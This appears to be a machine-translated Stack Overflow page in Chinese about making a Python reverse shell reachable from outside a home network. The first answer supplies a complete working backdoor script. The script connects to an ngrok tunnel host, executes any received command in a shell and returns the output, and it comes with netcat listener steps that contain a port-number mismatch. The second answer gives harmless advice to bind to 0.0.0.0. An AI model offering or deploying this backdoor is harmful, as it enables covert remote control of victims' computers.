【问题标题】:reverse shell port forwarding反向shell端口转发
【发布时间】:2018-06-27 15:05:03
【问题描述】:

我用 python 创建了一个反向 shell,但我的路由器在端口转发中遇到了问题。

我没有任何静态ip。

在路由器中:

协议:TCP

Lochealipaddr: 192.168.1.10

本地端口:8090

Wanipaddr: ---

万口:8090

状态:启用

在我的 python 脚本中,我无法绑定我的 wan ip 地址

ST.bind((Wanipaddr, 8090))

如果我在 localipaddr 上绑定,我的反向 shell 客户端将无法连接到服务器

我的问题解决方案是什么??

谢谢

【问题讨论】:

    标签: python-2.7 portforwarding reverse-shell


    【解决方案1】:

    如果你想使用你的后门来接收局域网外的连接,请使用ngrok

    示例:

    1- 让我们监听 4444 端口:

    nc -lp 4444
    

    2- 安装 ngrok 后,您将运行以下命令:

    ngrok tcp 444
    

    3- 现在找到 ngrok 地址

    ngrok address

    4- 使用你的 ngrok 地址连接到客户端

    # backdoor.py
    import socket, subprocess, os
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    HOST = '0.tcp.ngrok.io'
    PORT = 12969
    s.connect((HOST, PORT))
    while True:
         conn = s.recv(2048).decode()
         if conn[:3] == 'cd ':
             os.chdir(conn[3:])
             cmd = ''
         else:
             proc = subprocess.Popen(conn, stdout=subprocess.PIPE,stderr=subprocess.PIPE, stdin=subprocess.DEVNULL, shell=True)
             stdout, stderr = proc.communicate()
             cmd = stdout+stderr
         cmd += str('\n'+os.getcwd()).encode()
         s.send(cmd)
    

    5- 现在您可以与网络外的任何人联系

    shell

    【讨论】:

      【解决方案2】:

      听起来您的路由器已配置为将来自 Internet 的 8090 端口请求转发到您的主机(假设您拥有正确的 LAN IP)。也许只是尝试绑定到0.0.0.0

      来自wikipedia,它适合这个上下文:

      一种指定“任何 IPv4 地址”的方法。在配置服务器时(即绑定监听套接字时)以这种方式使用。

      换句话说,您是在告诉您的服务器实质上侦听每个可用的网络接口(在该端口上)。

      【讨论】:

        猜你喜欢
        • 1970-01-01
        • 2018-03-03
        • 2011-06-27
        • 1970-01-01
        • 1970-01-01
        • 2017-11-06
        • 1970-01-01
        • 1970-01-01
        • 1970-01-01
        相关资源
        最近更新 更多